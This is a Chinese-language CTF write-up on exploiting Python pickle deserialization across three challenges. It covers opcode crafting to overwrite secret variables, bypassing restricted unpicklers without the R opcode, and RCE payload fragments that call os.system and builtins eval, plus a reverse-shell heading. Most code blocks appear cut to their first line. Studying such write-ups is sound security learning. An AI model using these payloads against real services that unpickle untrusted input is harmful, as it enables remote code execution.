通过几道题目了解pickle反序列化
0x00 前言
通过几道题了解pickle反序列化
0x01 [CISCN2019 华北赛区 Day1 Web2]ikun
最简单的__reduce__
, (忽略别的一些知识点,只看pickle反序列化这部分.)
关键代码:
1 | class AdminHandler(BaseHandler): |
payload:
1 | import pickle |
参考 https://blog.csdn.net/xiayu729100940/article/details/105202964,这篇文章给出了几个payload.
0x02 xctf高校战疫网络安全分享赛:webtmp
简要分析
题目给出了source.py,代码就不贴了.
从路由部分开始看:
1 |
|
可以看到ban掉了R
, 且满足type(result)==Animal
和result == Animal(secret.name, secret.category)
就给flag. 但是并不知道secret.name
和secret.category
这两个变量,所以无法通过正常逻辑得到flag.
然后注意到result = restricted_loads(base64.b64decode(pickle_data))
这行代码存在pickle反序列化. 跟踪一下restricted_loads
这个函数,
1 | class RestrictedUnpickler(pickle.Unpickler): |
发现进行pickle反序列化的时候只允许__main__
模块
然后再看一下Animal类
1 | class Animal: |
对__eq__
和__repr__
进行了重写.
然后思考如何通过反序列化获得flag.
- 直接获得secret里面的两个变量 / 覆盖掉它们
- RCE获得flag.
- 读取文件获得secret.py (因为没回显所以就不考虑了)
下面考虑1和2的可能性
变量覆盖
__main__
对第一点需要知道怎么找到secret这个变量.
1 | # -*- coding: utf-8 -*- |
运行上面的代码发现有secret这个模块.
然后可以发现可以通过__main__
找到secret里面的变量.
并且可以做出修改
secret.py
1 | secret="this_is_the_secret_in_secret.py" |
1 | # -*- coding: utf-8 -*- |
所以可以利用pickle反序列化进行变量的覆盖.
opcode
然后开始编写opcode.(因为ban掉了R)
opcode编写参考 https://xz.aliyun.com/t/7436
全部的opcode指令可以从 https://www.anquanke.com/post/id/188981找到.
这里抄来几点tips
c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库。- pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c
、i
。而如何查值也是CTF的一个重要考点。 s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对。
找到secret.name和secret.category并通过b操作符赋值:
1 | '''c__main__ |
c
先引入__main__.sercret
,在栈中第一个元素位置.
(
压入mark.
S
依次压入name,1,category,2
d
组成字典{‘name’:’1’,category’:2},且mark,name,1,category,2出栈,字典入栈.
b
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 . 在这里就是操作secret.name和secret.category.(栈上第一个元素出栈
然后构造需要传入的animal对象:
1 | '''(c__main__ |
然后两个拼接即可. 因为要将Animal对象返回,所以赋值留下的一个元素需要pop掉(0
)
1 | import base64 |
tips : 也可以直接获取变量值,只不过opcode可能比较难写. 因为本道题限制了__main__
模块
未限制__main__
参考 https://zhuanlan.zhihu.com/p/89132768 0x07全局变量包含:c
指令码的妙用
RCE
题目过滤了R
,还可以用i和o进行RCE,这点比较容易绕过.
但是只允许__main__
模块加载,这个就无法绕过了2333
所以RCE是失败的.但是换个思路,如果题目ban了__main__
,堵住了变量覆盖这条路,就可以RCE
修改代码,尝试ban掉R后的RCE.
1 | class RestrictedUnpickler(pickle.Unpickler): |
RCE demo:
R
:
1 | b'''cos |
i
1 | b'''(S'whoami' |
o
1 | b'''(cos |
另外,这篇文章里面https://zhuanlan.zhihu.com/p/89132768还给出了一种从源码角度分析得到的ban掉`R`后的RCE方法,简述:
先为对象加上一个 __setstate__
属性:{'__setstate__': os.system}
然后再用一个字符串(cmd)build这个对象.原理就不赘述了,在文章里都有(只是没看懂build 字符串是什么操作)
payload:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.' |
反弹shell:
1 | import base64 |
0x03 Code-Breaking:picklecode
分析
由于Django很不熟悉,所以就直接看着P牛文章分析了.https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
这道题目首先要关注的点就是配置文件,下面的配置文件很异常
可以配合模板注入得到secret_key,然后伪造session,再精心构造opcode,绕过反序列化沙箱达到RCE目的.
下面主要看一下绕过反序列化沙箱部分,沙箱如下
1 | import pickle |
上面也是python官方给出的一种沙箱写法,但是find_class只会检查第一层的module.
可以通过getattr配合已经导入的builtins类绕过: builtins.getattr('builtins', 'eval')
opcode:
1 | '''cbuiltins |
使用pker编写opcode
像上面的opcode写起来很费劲,有师傅写了更方便的opcode生成工具
项目地址 https://github.com/eddieivan01/pker
1 | getattr=GLOBAL('builtins','getattr') |
使用参考 https://xz.aliyun.com/t/7436#toc-13
0x04 Reference
pickle反序列化初探 (比较详细的一篇文章)
Python反序列化漏洞的花式利用 还有一些姿势没有研究
https://www.anquanke.com/post/id/188981 内含完整pickle v0指令
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html P牛opcode编写过程